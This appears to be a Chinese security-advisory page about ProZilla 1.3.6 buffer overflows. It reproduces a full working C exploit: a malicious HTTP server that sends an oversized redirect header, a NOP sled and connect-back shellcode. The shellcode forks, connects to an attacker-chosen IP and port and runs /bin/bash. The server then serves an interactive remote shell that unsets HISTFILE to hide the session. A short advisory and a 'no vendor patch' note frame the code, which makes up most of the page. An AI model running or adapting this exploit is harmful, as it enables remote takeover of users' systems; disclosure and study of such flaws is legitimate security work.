|
|
http://www.nsfocus.net/index.php ... d=7157&keyword=
ProZilla多个安全漏洞
发布日期:2004-11-23
更新日期:2004-11-26
受影响系统:
ProZilla ProZilla 1.3.6
描述:prozilla是一款Linux下的下载加速程序。
prozilla存在多个安全缓冲区溢出,远程攻击者可以利用这个漏洞以用户进程权限在系统上执行任意指令。
prozilla在处理网络协议时存在缓冲区溢出,远程攻击者可以设置恶意服务器,诱使用户使用ProZilla获取文件,可导致以用户进程权限在系统上执行任意指令。
<*来源:Gentoo Linux Security Advisory
链接:http://marc.theaimsgroup.com/?l= ... 23398421738&w=2
http://marc.theaimsgroup.com/?l= ... 36626320497&w=2
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
Serkan Akpolat (deicide@siyahsapka.org)提供了如下测试方法:
- /* 20/10/2004
- ** This is a private work of Serkan Akpolat [email]deicide@siyahsapka.org[/email]
- ** for the unpublished prozilla-1.3.6 format string/buffer overflow
- ** vulnerability , though this version only exploits the stack overflow.
- ** Tested against current gentoo/slack/debian/suse with success. :P
- ** Client side: proz hostname:port/anyfile.name
- ** Default listen port is 8080
- ** Homepage: [url]www.siyahsapka.org[/url] || deicide.siyahsapka.org
- **/
- #include <stdio.h>
- #include <stdlib.h>
- #include <sys/types.h>
- #include <sys/wait.h>
- #include <sys/socket.h>
- #include <netinet/in.h>
- #include <arpa/inet.h>
- #include <unistd.h>
- #include <string.h>
- #include <signal.h>
- #define PORT 8080
- #define MAX_RESPONSE 2048
- #define TRUE 1
- char packet_start[]=\
- "HTTP/1.1 302 Found\r\n"
- "Location: [url]http://[/url]";
- char packet_end[]=\
- "\r\n"
- "Content-Encoding: gzip\r\n"
- "Content-Type: text/html; charset=iso-8859-1\r\n"
- "Connection: close\r\n\r\n";
- /* Shellcode with no control character.
- ** Nop's in the shellcode will be patched for attacker defined ip port
- ** at runtime.
- */
- char real_response[]=\
- "HTTP/1.1 302 Found\r\n"
- "Location: [url]http://blahblahblah.com/movie.wmv\r\n[/url]"
- "Content-Encoding: gzip\r\n"
- "Content-Type: text/html; charset=iso-8859-1\r\n"
- "Connection: close\r\n\r\n";
- unsigned char shellcode[] = {
- /* write(1,"\n\n\n\n",4) 0x31 times */
- 0x31, 0xf6, 0x31, 0xff, 0x83, 0xc6, 0x31, 0x31, 0xc0, 0xb9, 0x5a, 0x5a,
- 0x5a, 0x5a, 0x81, 0xe9, 0x50, 0x50, 0x50, 0x50, 0x51, 0x54, 0x59, 0x31,
- 0xdb, 0x43, 0x40, 0x40, 0x40, 0x40, 0x31, 0xd2, 0x42, 0x42, 0x42, 0x42,
- 0xcd, 0x80, 0x47, 0x39, 0xf7, 0x75, 0xdc,
- /* write(1,"\n\n\nEnd of file while parsing header",38);*/
- 0x31, 0xc0, 0x31, 0xdb, 0xbe, 0x4a, 0x4a, 0x4a, 0x4a, 0x81, 0xee, 0x40,
- 0x40, 0x40, 0x40, 0x56, 0x68, 0x61, 0x64, 0x65, 0x72, 0x68, 0x67, 0x20,
- 0x68, 0x65, 0x68, 0x72, 0x73, 0x69, 0x6e, 0x68, 0x65, 0x20, 0x70, 0x61,
- 0x68, 0x77, 0x68, 0x69, 0x6c, 0x68, 0x69, 0x6c, 0x65, 0x20, 0x68, 0x6f,
- 0x66, 0x20, 0x66, 0x68, 0x45, 0x6e, 0x64, 0x20, 0x54, 0x59, 0x43, 0x40,
- 0x40, 0x40, 0x40, 0x31, 0xd2, 0xb2, 0x24, 0xcd, 0x80,
- /* fork(); */
- 0x31, 0xc0, 0x40, 0x40, 0xcd, 0x80,
- /* If we are parent exit(?) */
- 0x31, 0xdb, 0x39, 0xc3, 0x74, 0x23, 0x31, 0xc0, 0xfe, 0xc0, 0xfe, 0xc8,
- 0xfe, 0xc0, 0xfe, 0xc8, 0xfe, 0xc0, 0xfe, 0xc8, 0xfe, 0xc0, 0xfe, 0xc8,
- 0xfe, 0xc0, 0xfe, 0xc8, 0xfe, 0xc0, 0xfe, 0xc8, 0xfe, 0xc0, 0xfe, 0xc8,
- 0xfe, 0xc0, 0x43, 0xcd, 0x80,
- /* setsid() */
- 0x31, 0xc0, 0xb0, 0x42, 0xcd, 0x80,
- /* signal(SIGHUP,SIG_IGN) */
- 0xb0, 0x30, 0x66, 0x29, 0xdb, 0x43, 0x89, 0xd9, 0xcd, 0x80,
- /* sock = socket(AF_INET, SOCK_STREAM, IPPROTO_IP) */
- 0x31, 0xc0, 0x50, 0x40, 0x50, 0x40, 0x50, 0x89, 0xe1, 0xb0, 0x66, 0xcd,
- 0x80,
- /* i = connect(sock, sockaddr, 16) */
- 0x89, 0xc6, 0x4b, 0x53, 0x53, 0xbf, 0x90, 0x90, 0x90, 0x90, 0x81, 0xf7,
- 0x90, 0x90, 0x90, 0x90, 0x57, 0x66, 0xba, 0x90, 0x90, 0x66, 0x81, 0xf2,
- 0x90, 0x90, 0x66, 0x52, 0x43, 0x43, 0x66, 0x53, 0x89, 0xe2, 0xb3, 0x50,
- 0x80, 0xeb, 0x40, 0x53, 0x52, 0x50, 0x89, 0xe1, 0xb3, 0x4f, 0x80, 0xeb,
- 0x4c, 0xb0, 0x66, 0xcd, 0x80,
- /* if (i != 0) jmp exit(?) */
- 0x31, 0xc9, 0x39, 0xc8, 0x75,0x57,
- /* write(sd,"SSSS",4) */
- 0x68, 0x53, 0x53, 0x53, 0x53, 0x54, 0x59, 0x89, 0xf3, 0x40, 0x40, 0x40,
- 0x40, 0x31, 0xd2, 0x42, 0x42, 0x42, 0x42, 0xcd, 0x80,
- /* dup2 loop */
- 0x31, 0xc9, 0x41, 0x41, 0xb0, 0x3f, 0xcd, 0x80, 0x49, 0x75, 0xf9, 0xb0,
- 0x3f, 0xcd, 0x80,
- /* execve("/bin/bash",{"bash",NULL} , NULL) */
- 0x31, 0xc0, 0x31, 0xd2, 0x50, 0x6a, 0x68, 0xb8, 0x40, 0x34, 0x34, 0x33,
- 0x35, 0x6f, 0x56, 0x55, 0x40, 0x50, 0xb8, 0x40, 0x31, 0x34, 0x33, 0x35,
- 0x6f, 0x53, 0x5d, 0x5d, 0x50, 0x54, 0x5b, 0x31, 0xc0, 0x50, 0x68, 0x62,
- 0x61, 0x73, 0x68, 0x89, 0xe7, 0x50, 0x57, 0x54, 0x59, 0xb0, 0x4b, 0x2c,
- 0x40, 0xcd, 0x80,
- /* exit(?); */
- 0x31, 0xc0, 0x40, 0xcd, 0x80
- };
- void usage(char *progname)
- {
- fprintf(stderr, "Usage: %s [-cp] [ip]\n\n"\
- "-c <ip address> connectback ip address\n"\
- "-p <port> connectback port (default = 8080)\n", progname);
- exit(1);
- }
- /* Interactive shell session */
- void shell(int sock)
- {
- /* from sambal.c, hey eSDee ;) */
- fd_set fd_read;
- char buff[1024], *cmd="unset HISTFILE; echo "*** Hobareeeey! ***";uname -a;id;\n";
- int n;
- FD_ZERO(&fd_read);
- FD_SET(sock, &fd_read);
- FD_SET(0, &fd_read);
- send(sock, cmd, strlen(cmd), 0);
-
- while(1) {
- FD_SET(sock,&fd_read);
- FD_SET(0,&fd_read);
- if (select(FD_SETSIZE, &fd_read, NULL, NULL, NULL) < 0 ) break;
- if (FD_ISSET(sock, &fd_read)) {
- if((n = recv(sock, buff, sizeof(buff), 0)) < 0){
- fprintf(stderr, "EOF\n");
- exit(2);
- }
- if (write(1, buff, n) < 0) break;
- }
- if (FD_ISSET(0, &fd_read)) {
- if((n = read(0, buff, sizeof(buff))) < 0){
- fprintf(stderr, "EOF\n");
- exit(2);
- }
- if (send(sock, buff, n, 0) < 0) break;
- }
- usleep(10);
- }
- fprintf(stderr, "Connection lost.\n\n");
- exit(0);
- }
- void put_ip(int i,int j)
- {
- shellcode[j]=i;
- }
- void put_xor(int i,int j,int k)
- {
- shellcode[j+k]=i;
- }
- int find_xor(int a,int b,int c)
- {
- int i=49,j=49;
- for(i=49;i<255;i++) {
- for(j=49;j<255;j++) {
- if(a==(i^j)) {
- put_ip (i,b);
- put_xor (j,b,c);
- b++;
- return b;
- }
- }
- }
- return -1;
- }
- void check_zombie(int x)
- {
- waitpid(-1,NULL,WNOHANG);
- }
- void send_start(int connection)
- {
- if (send(connection,packet_start,strlen(packet_start),0)==-1) {
- perror("send");
- }
- fprintf(stderr,"[+] Sending Header Start\n");
- }
- void send_nop(int connection)
- {
- int i = 0;
- int j = 1;
- char buffer [1024] ="AA@@";
- char counter [128];
-
- memset(counter ,0x00,128 );
- memset(buffer+3,0x41,1021);
- buffer[1024-1]='\0';
- while(i<96) {
- if (send(connection,buffer,strlen(buffer),0)==-1) {
- perror("send");
- }
- i++;
- if(!(i%4))
- j++;
- memset (counter,0x2b,j);
- memset (counter+j,0x20,26-j);
- fprintf(stderr ,"\r[+] Sending 96kb Nop [ %s]",counter);
- memset(counter,0x00,sizeof(counter));
- }
-
- fprintf(stderr,"\n");
- fprintf(stderr,"[+] Sending Shellcode\n");
-
- if (send(connection,shellcode,strlen(shellcode),0)==-1) {
- perror("send");
- }
-
- }
- void send_hostname(int connection)
- {
- int i = 0;
- char fill_buffer[1600];
- memset(fill_buffer,0x00,1600);
-
- /* We dont care about alignment, return 0x08080808 */
-
- for(;i<400;i++) {
- strcat(fill_buffer , "\x08\x08\x08\x08");
- }
-
- fprintf(stderr,"[+] Sending Return address [ 0x08080808 ]\n");
-
- if (send(connection,fill_buffer,1600,0)==-1) {
- perror("send");
- }
- }
- void send_end(int connection)
- {
- fprintf(stderr,"[+] Sending Header End\n");
- if (send(connection,packet_end,strlen(packet_end),0)==-1) {
- perror("send");
- }
- }
- int init_socket(struct sockaddr_in *control_addr,struct sockaddr_in *from_addr,int *from_len)
- {
- int control;
-
- if((control=socket(AF_INET,SOCK_STREAM,0))<0) {
- perror("Socket:");
- exit(1);
- }
-
- control_addr->sin_port=htons(PORT);
- control_addr->sin_addr.s_addr=INADDR_ANY;
- control_addr->sin_family=AF_INET;
- if((bind(control,(struct sockaddr *)control_addr,sizeof(*control_addr)))!=0) {
- perror("Bind:");
- exit(1);
- }
- if(listen(control,128)!=0) {
- perror("Listen:");
- exit(1);
- }
- *from_len =sizeof(*from_addr);
- signal(SIGCHLD,check_zombie);
- return control;
- }
- int main(int argc,char **argv)
- {
- /* ip patch position */
- int i=194;
- int opt_p=0,opt_c=0;
- int port,porthigh,portlow;
- int c,f;
- int control;
- int connection,from_len;
- int ip1,ip2,ip3,ip4;
- char http_response [2048];
- char client_request[2048];
- struct sockaddr_in *control_addr = (struct sockaddr_in *)malloc(sizeof(struct sockaddr_in));
- struct sockaddr_in *from_addr = (struct sockaddr_in *)malloc(sizeof(struct sockaddr_in));
-
- while((c=getopt(argc, argv ,"hc:p:"))!=EOF) {
- switch (c) {
- case 'h':
- usage(argv[0]);
- case 'c':
- opt_c=1;
- sscanf(optarg, "%d.%d.%d.%d", &ip1, &ip2, &ip3,&ip4);
- break;
- case 'p':
- opt_p=1;
- port = atoi(optarg);
- if ((port <= 0) || (port > 65535)) {
- fprintf(stderr, "Invalid port.\n\n");
- exit(1);
- }
- }
- }
- if(opt_p) {
- porthigh = (port & 0xff00) >> 8;
- portlow = (port & 0x00ff);
- }
- else {
- port = 8080;
- porthigh = (port & 0xff00) >> 8;
- portlow = (port & 0x00ff);
- }
- if(!opt_c) {
- usage(argv[0]);
- }
- memset(http_response,0x0,MAX_RESPONSE);
- control = init_socket(control_addr,from_addr,&from_len);
-
- /* patch ip */
- i = find_xor(ip1,i,6);
- i = find_xor(ip2,i,6);
- i = find_xor(ip3,i,6);
- i = find_xor(ip4,i,6);
- /* patch port */
- i = 207;
- i = find_xor( porthigh,i,5);
- i = find_xor( portlow ,i,5);
-
-
- while(TRUE) {
- if((connection=accept(control,(struct sockaddr *)from_addr,&from_len))==-1) {
- exit(1);
- }
-
- fprintf(stderr,"[+] Victim at : %s\n", inet_ntoa(from_addr->sin_addr));
- if (read(connection,client_request,sizeof(client_request))==0) {
- exit(1);
- }
-
- /* Victim Responded */
- if(strstr(client_request,"Prozilla"))
- {
- fprintf(stderr,"[+] Victim using Prozilla.\n");
- f=1;
- }
- else {
- if(strstr(client_request,"SSSS")) {
- fprintf(stderr,"Nice , Victim Responded!\n");
- shell(connection);
- }
- else {
- fprintf(stderr,"[+] Victim is not using Prozilla! Sending a normal response.\n");
- if(send(connection,real_response,strlen(shellcode),0)==-1) {
- perror("send");
- }
- }
- }
- if(f==1) {
- /* HTTP */
- send_start(connection);
- /* nop sled [nop@] */
- send_nop(connection);
- /* Overwrite Saved Ret , return to heap */
- send_hostname(connection);
- /* HTTP END */
- send_end(connection);
- f=0;
- }
- close(connection);
- memset(client_request,0x0,sizeof(client_request));
- if (fork()==0) {
- free(from_addr);
- free(control_addr);
- exit(0);
- }
- else {
- close(connection);
- }
- }
- printf("Done");
- return 0;
- }
复制代码
建议:厂商补丁:
ProZilla
--------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://prozilla.genesys.ro/
浏览次数:72
严重程度:0(网友投票) |
|